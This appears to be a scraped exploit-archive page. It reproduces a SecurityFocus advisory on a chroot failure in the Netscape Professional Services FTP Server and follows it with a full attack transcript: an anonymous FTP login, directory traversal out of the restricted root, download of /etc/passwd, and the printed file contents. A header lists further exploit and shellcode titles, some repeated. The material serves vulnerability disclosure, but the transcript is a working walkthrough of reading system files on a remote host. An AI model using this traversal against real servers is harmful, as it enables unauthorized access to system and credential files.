880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
57 lines
No EOL
2.5 KiB
Text
57 lines
No EOL
2.5 KiB
Text
source: https://www.securityfocus.com/bid/1411/info
|
|
|
|
Certain versions of the LDAP-aware Netscape Professional Services FTP Server (distributed with Enterprise Web Server) have a serious vulnerability which may lead to a remote or local root compromise. The vulnerability in essence is a failure of of the FTP server to enforce a restricted user environment (chroot). By failing to do this an FTP (anonymous or otherwise) user may download any file on the system (/etc/passwd etc.) as well as upload files at will at the privilege level of the FTP daemon.
|
|
|
|
Furthermore (quoted from the original attached message) this FTP server supports LDAP users; different LDAP accounts are served on single physical UID. This means, any user can access and eventually overwrite files on other accounts; as it's used in cooperation with webserver, typically virtual web servers are affected.
|
|
|
|
$ ftp ftp.XXXX.xxx
|
|
Connected to ftp.XXXX.xxx.
|
|
220-FTP Server - Version 1.36 - (c) 1999 Netscape Professional Services
|
|
220 You will be logged off after 1200 seconds of inactivity.
|
|
Name (ftp.XXXX.xxx:lcamtuf): anonymous
|
|
331 Anonymous user OK, send e-mail address as password.
|
|
Password:
|
|
230 Logged in OK
|
|
Remote system type is UNIX.
|
|
Using binary mode to transfer files.
|
|
ftp> cd ../../../dupa
|
|
550 Can't change directory to
|
|
"/www1/customer/www.XXXX.xxx/a/n/o/n/anonymous/dupa" because No such
|
|
file or directory
|
|
|
|
[Well... this won't work... uh, lovely physical path, btw ;]
|
|
|
|
ftp> cd /../../../dupa
|
|
550 Can't change directory to
|
|
"/www1/customer/www.XXXX.xxx/a/n/dupa" because No such file or
|
|
directory
|
|
ftp> cd /../../../../dupa
|
|
550 Can't change directory to
|
|
"/www1/customer/www.XXXX.xxx/a/dupa" because
|
|
No such file or directory
|
|
|
|
[Erm? Good God!]
|
|
|
|
ftp> cd /../../../../../../../../etc/dupa
|
|
550 Can't change directory to "/etc/dupa" because No such file or
|
|
directory
|
|
ftp> cd /../../../../../../../../etc/
|
|
250 CWD command successful.
|
|
ftp> get /../../../../../../../../etc/passwd KUKU
|
|
local: KUKU remote: /../../../../../../../../etc/passwd
|
|
200 PORT successfull, connected to A.B.C.D port 62437
|
|
150-Type of object is "unknown/unknown". Transfer MODE is BINARY.
|
|
150 Opening data connection
|
|
226 File downloaded successfully (602 bytes, 602 bytes xmitted)
|
|
602 bytes received in 1.71 secs (0.34 Kbytes/sec)
|
|
ftp> quit
|
|
221-Goodbye. You uploaded 0 and downloaded 1 kbytes.
|
|
221 CPU time spent on you: 0.100 seconds.
|
|
|
|
$ cat KUKU
|
|
root:x:0:1:Super-User:/:/sbin/sh
|
|
daemon:x:1:1::/:
|
|
bin:x:2:2::/usr/bin:
|
|
sys:x:3:3::/:
|
|
adm:x:4:4:Admin:/var/adm:
|
|
... |